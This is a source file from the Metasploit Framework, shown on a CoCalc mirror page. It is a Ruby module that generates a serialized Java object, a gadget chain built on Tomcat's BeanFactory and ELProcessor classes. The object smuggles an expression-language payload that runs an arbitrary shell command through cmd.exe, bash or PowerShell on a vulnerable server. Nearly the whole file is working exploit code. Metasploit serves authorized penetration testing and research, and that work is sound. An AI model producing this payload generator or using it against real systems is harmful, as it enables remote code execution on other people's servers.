CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/java_deserialization/bean_factory.rb
Views: 11784
1
# -*- coding: binary -*-
2
3
require 'stringio'
4
require 'rex/java'
5
6
module Msf
7
module Util
8
class JavaDeserialization
9
class BeanFactory
10
11
def self.generate(cmd, shell: nil)
12
js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
13
14
# emulate the same behavior as the ysoserial-modified series,
15
# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
16
payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
17
case shell
18
when 'cmd'
19
payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
20
when 'bash'
21
payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
22
when 'powershell'
23
payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
24
when nil
25
payload_string << js_escaped
26
else
27
raise NotImplementedError, "unsupported shell: #{shell.inspect}"
28
end
29
payload_string << ")\")}"
30
31
builder = Rex::Java::Serialization::Builder.new
32
stream = Rex::Java::Serialization::Model::Stream.new
33
stream.contents = [
34
builder.new_object(
35
name: 'org.apache.naming.ResourceRef',
36
serial: 1,
37
flags: 2,
38
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
39
super_class: builder.new_class(
40
name: 'org.apache.naming.AbstractRef',
41
serial: 1,
42
flags: 2,
43
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
44
super_class: builder.new_class(
45
name: 'javax.naming.Reference',
46
serial: 16773268283643759881,
47
flags: 2,
48
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
49
).tap { |new_class|
50
new_class.fields = [
51
new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
52
new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
53
new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
54
new_field(name: 'className', field_type: new_ref(handle: 8257540))
55
]
56
},
57
),
58
data: [
59
builder.new_object(
60
name: 'java.util.Vector',
61
serial: 15679138459660562177,
62
flags: 3,
63
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
64
data: [
65
['int', 0],
66
['int', 5],
67
# stream.contents.first.class_data[0].class_data[2]
68
builder.new_array(
69
values_type: 'java.lang.Object;',
70
name: '[Ljava.lang.Object;',
71
serial: 10434374826863044972,
72
flags: 2,
73
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
74
# stream.contents.first.class_data[0].class_data[2].values
75
values: [
76
# stream.contents.first.class_data[0].class_data[2].values[0]
77
builder.new_object(
78
name: 'javax.naming.StringRefAddr',
79
serial: 9532981578571046089,
80
flags: 2,
81
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
82
super_class: builder.new_class(
83
name: 'javax.naming.RefAddr',
84
serial: 16978578953230397258,
85
flags: 2,
86
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
87
).tap { |new_class|
88
new_class.fields = [
89
new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
90
]
91
},
92
data: [
93
Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
94
Rex::Java::Serialization::Model::Utf.new(stream)
95
]
96
).tap { |new_object|
97
new_object.class_desc.description.fields = [
98
new_field(name: 'contents', field_type: new_ref(handle: 8257540))
99
]
100
},
101
# stream.contents.first.class_data[0].class_data[2].values[1]
102
builder.new_object(
103
description: new_ref(handle: 8257547),
104
data: [
105
Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
106
new_ref(handle: 8257551)
107
]
108
),
109
builder.new_object(
110
description: new_ref(handle: 8257547),
111
data: [
112
Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
113
Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
114
]
115
),
116
# stream.contents.first.class_data[0].class_data[2].values[3]
117
builder.new_object(
118
description: new_ref(handle: 8257547),
119
data: [
120
Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
121
Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
122
]
123
),
124
# stream.contents.first.class_data[0].class_data[2].values[4]
125
builder.new_object(
126
description: new_ref(handle: 8257547),
127
data: [
128
Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
129
Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
130
]
131
),
132
# stream.contents.first.class_data[0].class_data[2].values[5]
133
Rex::Java::Serialization::Model::NullReference.new,
134
Rex::Java::Serialization::Model::NullReference.new,
135
Rex::Java::Serialization::Model::NullReference.new,
136
Rex::Java::Serialization::Model::NullReference.new,
137
Rex::Java::Serialization::Model::NullReference.new,
138
]
139
)
140
]
141
).tap { |new_object|
142
new_object.class_desc.description.fields = [
143
new_field(type: 'int', name: 'capacityIncrement'),
144
new_field(type: 'int', name: 'elementCount'),
145
new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
146
]
147
},
148
Rex::Java::Serialization::Model::EndBlockData.new,
149
Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
150
Rex::Java::Serialization::Model::NullReference.new
151
]
152
),
153
Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
154
]
155
stream.encode
156
end
157
158
class << self
159
private
160
# helper methods that are not in Rex::Java::Serialization::Builder
161
def new_field(opts = {})
162
name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
163
if opts[:field_type].is_a? String
164
field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
165
else
166
field_type = opts[:field_type]
167
end
168
169
field = Rex::Java::Serialization::Model::Field.new
170
field.type = opts[:type] || 'object'
171
field.name = name
172
field.field_type = field_type
173
field
174
end
175
176
def new_ref(opts = {})
177
ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
178
ref.handle = opts[:handle]
179
180
ref
181
end
182
end
183
end
184
end
185
end
186
end
187
188